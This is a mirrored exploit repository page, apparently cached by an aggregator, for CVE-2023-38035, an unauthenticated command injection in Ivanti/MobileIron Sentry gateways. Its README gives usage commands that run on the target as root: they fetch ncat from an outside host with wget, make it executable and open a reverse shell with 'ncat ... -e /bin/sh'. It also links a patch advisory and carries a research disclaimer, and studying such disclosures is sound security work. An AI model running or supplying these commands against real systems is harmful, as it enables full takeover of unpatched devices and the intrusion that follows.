CVE-2023-38035 PoC — Mobileiron MobileIron Sentry 安全漏洞

Source

https://github.com/horizon3ai/CVE-2023-38035

Associated Vulnerability

Title:Mobileiron MobileIron Sentry 安全漏洞 (CVE-2023-38035)
Description:MobileIron Sentry是美国思可信（MobileIron）公司的一款智能网关产品。 MobileIron Sentry 9.18.0及之前版本存在安全漏洞，该漏洞源于Apache HTTPD 配置限制不足，允许攻击者绕过管理界面上的身份验证控制。

Description

Ivanti Sentry CVE-2023-38035

Readme

# CVE-2023-38035
POC for CVE-2023-38035 affecting Ivanti Sentry

## Technical Analysis
A technical root cause analysis of the vulnerability can be found on our blog:
https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive

## Summary
This POC abuses an unauthenticated command injection to execute arbitrary commands as the root user.

The execution context does not allow for command piping, and the system does not ship with easily abusable binaries, so commands can be chained to download a static ncat from somewhere like https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat.

## Usage
```plaintext
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'wget http://123.123.123.123:8000/ncat -O /tmp/ncat'
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'chmod +x /tmp/ncat' 
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'sudo /tmp/ncat 123.123.123.123 4444 -e /bin/sh'
[+] Successfully executed command on target!
```

![Shell](shell.png)

## Mitigations
Update to the latest version according to the instructions within the Ivanti Advisory
* https://forums.ivanti.com/s/article/KB-API-Authentication-Bypass-on-Sentry-Administrator-Interface-CVE-2023-38035?language=en_US

## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:
*  [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
*  [James Horseman](https://twitter.com/JamesHorseman2)
*  [Zach Hanley](https://twitter.com/hacks_zach)

## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

File Snapshot


 [4.0K]  /data/pocs/c16d499730f1be62c21f6b168c4e79c61f5a88af
├── [1.5K]  CVE-2023-38035.py
├── [1.9K]  README.md
└── [ 13K]  shell.png

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!